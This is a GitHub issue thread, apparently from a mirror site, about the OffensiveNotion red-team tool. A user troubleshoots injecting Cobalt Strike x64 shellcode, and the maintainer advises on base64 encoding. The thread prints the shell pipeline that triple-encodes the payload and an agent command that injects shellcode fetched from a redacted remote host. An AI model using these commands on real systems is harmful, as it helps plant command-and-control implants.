mttaggart / OffensiveNotion

Notion as a platform for offensive operations

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

inject shellcode error

h2so0o4 opened this issue · comments

commented

cobaltstrike shellcode x64 inject
image

error : Invalid byte 10, offset 76.

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

commented

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

cobaltstrike 4.3
payload:C# x64
kali:cat payload.cs| cut -d "{" -f2 | cut -d "}" -f1 | tail -n+2 | base64 | base64 | base64 > note.txt
notion: inject self http://xxxxxx 3

commented

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

test enviroment : Win11 & Win10

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

commented

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

After listening to your suggestion, no more error will be reported, showing "Injection completed!" But my beacon is not online
image
image

I don't know what went wrong